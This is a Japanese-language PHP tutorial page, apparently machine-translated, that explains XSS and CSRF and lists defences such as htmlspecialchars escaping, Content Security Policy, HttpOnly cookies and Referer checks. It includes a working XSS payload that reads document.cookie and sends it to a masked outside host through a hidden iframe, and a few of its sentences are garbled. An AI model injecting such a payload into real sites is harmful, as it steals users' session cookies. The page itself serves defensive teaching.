ホームページ >バックエンド開発 >PHPチュートリアル >XSS および CSRF 攻撃から保護する方法
XSS: クロスサイト スクリプティング (XSS とも呼ばれる) は、Web サイト アプリケーションに対するセキュリティ脆弱性攻撃であり、コード インジェクションの一種です。これにより、悪意のあるユーザーが Web ページにコードを挿入することができ、Web ページを閲覧している他のユーザーに影響を及ぼします。このタイプの攻撃には通常、HTML とユーザー側のスクリプト言語が関係します。
CSRF: クロスサイト リクエスト フォージェリ (英語: Cross-site request forgery)、ワンクリック攻撃またはセッションライディングとも呼ばれ、通常は CSRF または意図しない操作を実行する攻撃手法です。
簡単に理解すると:
XSS: クライアント側のスクリプト言語 (JavaScript などの最も一般的なもの) を介して
悪意のある JavaScript コードをフォーラム投稿に公開することは、このコードのコンテンツが外部サーバー、それは XSS と呼ばれます。
CSRF: XSRF とも呼ばれ、ユーザーになりすまして (ユーザーの知らないうちに) リクエストを開始し、ユーザーの希望に反して一部のリクエスト (悪意のある投稿、投稿の削除、パスワードの変更、電子メールの送信など) を完了します。 。)。
// 用 <script type="text/javascript"></script> 包起来放在评论中 (function(window, document) { // 构造泄露信息用的 URL var cookies = document.cookie; var xssURIBase = "http://********"; var xssURI = xssURIBase + window.encodeURI(cookies); // 建立隐藏 iframe 用于通讯 var hideFrame = document.createElement("iframe"); hideFrame.height = 0; hideFrame.width = 0; hideFrame.style.display = "none"; hideFrame.src = xssURI; // 开工 document.body.appendChild(hideFrame); })(window, document);
中心的な考え方: 外部ソースからのすべてのデータは、ページに表示される前にサーバー コードでフィルターされる必要があります。つまり、すべての外部データは必ず違法です。フィルタリングをうまくやってください。
1. innerText (IE) と textContent (Firefox)、つまり jQuery の text() を使用してテキストコンテンツを出力してみます
2. innerHTML やその他の関数を使用する必要がある場合は、php の htmlspecialchars と同様のフィルタリングを行う必要があります
3 .html出力時に、コンテンツセキュリティポリシーのHTTPヘッダーを追加します
(機能: XSS、サードパーティスクリプトファイルの埋め込みなどによるページの攻撃を防ぐことができます)
(欠点: IE 以前のバージョンのブラウザでは、サポートしていません)
4. Cookieを設定する場合、HttpOnlyパラメータを追加します
(機能: XSSによるページ攻撃時にCookie情報が盗まれるのを防ぐことができ、IE6と互換性があります)
(欠点: のJSコードウェブサイト自体はCookieを操作できず、限定的であり、Cookieのセキュリティのみを保証します)
5. API開発時にリクエストのRefererパラメータを確認する
(機能: CSRF攻撃をある程度防ぐことができます)
(欠点) : IE 以前のバージョンのブラウザでは、Referer パラメーターが偽造される可能性があります)
関連する推奨事項:
クロスサイトおよびクロスサイトを防ぐための PHP 実装サンプル コード
以上がXSS および CSRF 攻撃から保護する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。